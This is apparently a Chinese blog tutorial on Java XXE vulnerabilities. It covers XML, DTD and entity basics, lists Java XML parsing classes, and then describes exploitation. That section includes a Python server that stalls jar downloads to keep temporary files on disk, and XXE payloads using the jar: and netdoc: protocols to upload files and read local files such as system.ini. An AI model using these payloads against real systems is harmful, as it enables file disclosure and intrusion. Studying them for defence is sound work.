0%

Java XXE 漏洞

1 XML 基础

XML(可扩展标记语言,EXtensible Markup Language ),是一种标记语言,用来传输和存储数据

1.1 XML文档结构

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<!--XML申明-->
<?xml version="1.0"?>

<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->
]>

<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

1.2 DTD

DTD(文档类型定义,Document Type Definition )的作用是定义XML文档的合法构建模块。它使用一系列的合法元素来定义文档结构。

DTD引用方式

1)DTD 内部声明

1
<!DOCTYPE 根元素 [元素声明]>

2)DTD 外部引用

1
<!DOCTYPE 根元素名称 SYSTEM "外部DTD的URI">

3)引用公共DTD

1
<!DOCTYPE 根元素名称 PUBLIC "DTD标识名" "公用DTD的URI">

DTD 关键字:

  • DOCTYPE(DTD的声明)
  • ENTITY(实体的声明)
  • SYSTEM、PUBLIC(外部资源申请)
  • ELEMENT(定义元素声明)

PCDATA

PCDATA 的意思是被解析的字符数据(parsed character data)。
可把字符数据想象为 XML 元素的开始标签与结束标签之间的文本。
PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。
文本中的标签会被当作标记来处理,而实体会被展开。
不过,被解析的字符数据不应当包含任何 &、< 或者 > 字符;需要使用 &、< 以及 > 实体来分别替换它们。

CDATA

CDATA 的意思是字符数据(character data)。
CDATA 是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。

1.3 实体分类

实体可以理解为变量,其必须在DTD中定义申明,可以在文档中的其他位置引用该变量的值。
实体按类型主要分为以下四种:

  • 内置实体 (Built-in entities)
  • 字符实体 (Character entities)
  • 通用实体/普通实体 (General entities)
  • 参数实体 (Parameter entities)

完整的实体类别可参考 DTD - Entities

1.3.1 内置实体 (Built-in entities)

  • &符号: &amp;
  • 单引号: &apos;
  • >: &gt;
  • <: &lt;
  • 双引号: &quot;

1.3.2 字符实体 (Character entities)

通常是 html 的实体编码,例如:

1
2
3
4
5
6
<?xml version = "1.0" encoding = "UTF-8" standalone = "yes"?>
<!DOCTYPE author[
<!ELEMENT author (#PCDATA)>
<!ENTITY copyright "&#169;">
]>
<author>&writer;&copyright;</author>

&#169©

1.3.3 普通实体 (General entities)

简单理解即引用替换,语法:

1
<!ENTITY ename "text">

Example:

1
2
3
4
5
6
7
8
9
<?xml version = "1.0"?>

<!DOCTYPE note [
<!ENTITY source-text "tutorialspoint">
]>

<note>
&source-text;
</note>

1.3.4 参数实体 (Parameter entities)

参数实体的目的是创建动态替换的文本节

语法:

1
<!ENTITY % ename "entity_value">
  • entity_value 可以是除 &, %" 外所有字符

test323.xml

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE person SYSTEM "test323.dtd">
<person>
<name>Jason</name>
<addr>Shanghai</addr>
<tel>18701772821</tel>
<br/>
<email>18701772821@163.com</email>
</person>

test323.dtd

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>  
<!ELEMENT person (name,addr,tel,br,email)>
<!ENTITY % name "(#PCDATA)">
<!ELEMENT addr %name;>
<!ELEMENT tel %name;>
<!ELEMENT br EMPTY>
<!ELEMENT email %name;>

参数实体必须先定义再使用,而不能像一般实体那样随意放置。

1.4 内部实体和外部实体

实体根据引用方式,还可分为内部实体与外部实体,看看这些实体的声明方式。

内部实体:

1
<!ENTITY entity_name "entity_value">

外部实体:

1
<!ENTITY name SYSTEM "URI/URL">

1.5 通用实体和参数实体

其实按照使用来分类,又可以将实体分为通用实体和参数实体。

通用实体

用 &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用

参数实体

  1. 使用 % 实体名 (这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用
  2. 只有在 DTD 文件中,参数实体的声明才能引用其他实体
  3. 和通用实体一样,参数实体也可以外部引用

1.5.1 内部通用实体

语法:

1
<!ENTITY entity-name "entity-value">

Example:

1
2
3
4
5
6
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE author[
<!ENTITY writer "Donald Duck.">
<!ENTITY copyright "Copyright runoob.com">
]>
<author>&writer;&copyright;</author>

1.5.2 外部通用实体

语法:

1
<!ENTITY entity-name SYSTEM "URI/URL">

Example:

1
2
3
4
5
6
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE author[
<!ENTITY writer SYSTEM "http://www.runoob.com/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.runoob.com/entities.dtd">
]>
<author>&writer;&copyright;</author>

1.5.3 内部参数实体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE person [
<!ENTITY % name "(#PCDATA)">
<!ELEMENT addr %name;>
<!ELEMENT tel %name;>
<!ELEMENT br EMPTY>
<!ELEMENT email %name;>
]>
<person>
<name>Jason</name>
<addr>Shanghai</addr>
<tel>18701772821</tel>
<br/>
<email>18701772821@163.com</email>
</person>

1.5.4 外部参数实体

test323.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE person [
<!ELEMENT person (name,addr,tel,br,email)>
<!ENTITY % (注意这里有个空格)content SYSTEM "test323.dtd">
%content;
]>
<person>
<name>Jason</name>
<addr>Shanghai</addr>
<tel>18701772821</tel>
<br/>
<email>18701772821@163.com</email>
</person>

test323.dtd

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>  
<!ELEMENT name (#PCDATA)>
<!ELEMENT addr (#PCDATA)>
<!ELEMENT tel (#PCDATA)>
<!ELEMENT br EMPTY>
<!ELEMENT email (#PCDATA)>

2 Java XML 解析

Java XML 解析 主要相关的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
javax.xml.parsers.DocumentBuilderFactory;
javax.xml.parsers.SAXParser
javax.xml.transform.TransformerFactory
javax.xml.validation.Validator
javax.xml.validation.SchemaFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.transform.sax.SAXSource
org.xml.sax.XMLReader
DocumentHelper.parseText
DocumentBuilder
org.xml.sax.helpers.XMLReaderFactory
org.dom4j.io.SAXReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.bind.Unmarshaller
javax.xml.xpath.XpathExpression
javax.xml.stream.XMLStreamReader
org.apache.commons.digester3.Digester
rg.xml.sax.SAXParseExceptionpublicId

解析实例和防御方法可以查看:

http://www.lmxspace.com/2019/10/31/Java-XXE-总结/

https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html#java

3 Java XXE 利用

各平台支持的协议如下

image-20200824193246228

  1. 其中从2012年9月开始,Oracle JDK版本中删除了对gopher方案的支持,后来又支持的版本是 Oracle JDK 1.7 update 7 和 Oracle JDK 1.6 update 35
  2. libxml 是 PHP 的 xml 支持

Java中的XXE支持 sun.net.www.protocol 里面的所有协议:http,https,file,ftp,mailto,jar,netdoc 。一般利用file协议读取文件、利用http协议探测内网,没有回显时可利用file协议结合http协议或ftp协议来读取文件。

Java XXE 的利用和 php 的查不多,总结一般的利用方式如下:

  • file 协议读文件
  • 内网主机探测
  • 内网端口探测
  • DoS拒绝服务攻击

详细可以查看:https://www.k0rz3n.com/2018/11/19/一篇文章带你深入理解 XXE 漏洞/

区别于 PHP 的利用方式如下

3.1 jar:// 文件上传

jar 协议语法,jar:{url}!/{entry},url是文件的路径,entry是想要解压出来的文件

jar 协议处理文件的过程:

  1. 下载 jar/zip 文件到临时文件中
  2. 提取出我们指定的文件
  3. 删除临时文件

那么延长服务器传递文件的时间,就可以延长临时文件存在的时间

server.py,这里在传输最后一个字符的时候会 sleep 30s

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import sys 
import time
import threading
import socketserver
from urllib.parse import quote
import http.client as httpc

listen_host = 'localhost'
listen_port = 9999
jar_file = sys.argv[1]

class JarRequestHandler(socketserver.BaseRequestHandler):
def handle(self):
http_req = b''
print('New connection:',self.client_address)
while b'\r\n\r\n' not in http_req:
try:
http_req += self.request.recv(4096)
print('Client req:\r\n',http_req.decode())
jf = open(jar_file, 'rb')
contents = jf.read()
headers = ('''HTTP/1.0 200 OK\r\n'''
'''Content-Type: application/java-archive\r\n\r\n''')
self.request.sendall(headers.encode('ascii'))

self.request.sendall(contents[:-1])
time.sleep(30)
print(30)
self.request.sendall(contents[-1:])

except Exception as e:
print ("get error at:"+str(e))


if __name__ == '__main__':

jarserver = socketserver.TCPServer((listen_host,listen_port), JarRequestHandler)
print ('waiting for connection...')
server_thread = threading.Thread(target=jarserver.serve_forever)
server_thread.daemon = True
server_thread.start()
server_thread.join()

运行服务器,让其监听

image-20200824182026676

然后 xxe 结合 jar 协议

1
2
3
4
<!DOCTYPE convert [ 
<!ENTITY remote SYSTEM "jar:http://localhost:9999/1.zip!/wm.php">
]>
<convert>&remote;</convert>

因为 1.zip 中并不存在 wm.php 这个文件,所以可以在报错中看到临时文件的位置

image-20200824182309774

这里实际测试并不一定只能上传 zip 格式的文件,但因为 jar 协议会对文件进行解包操作,如果不上传 zip 格式文件在报错里是看不到临时文件路径的,所以需要先正常上传一次 zip 格式文件获取路径然后再上传其他文件。

image-20200824182434415

3.2 netdoc 协议

Java 中 netdoc 协议可以替代 file 协议功能,读文件:

1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ELEMENT creds ANY>
<!ENTITY xxe SYSTEM "netdoc:///c:/windows/system.ini">
]>
<creds>&xxe;</creds>

同时也可以列目录:

image-20200824191608338

参考链接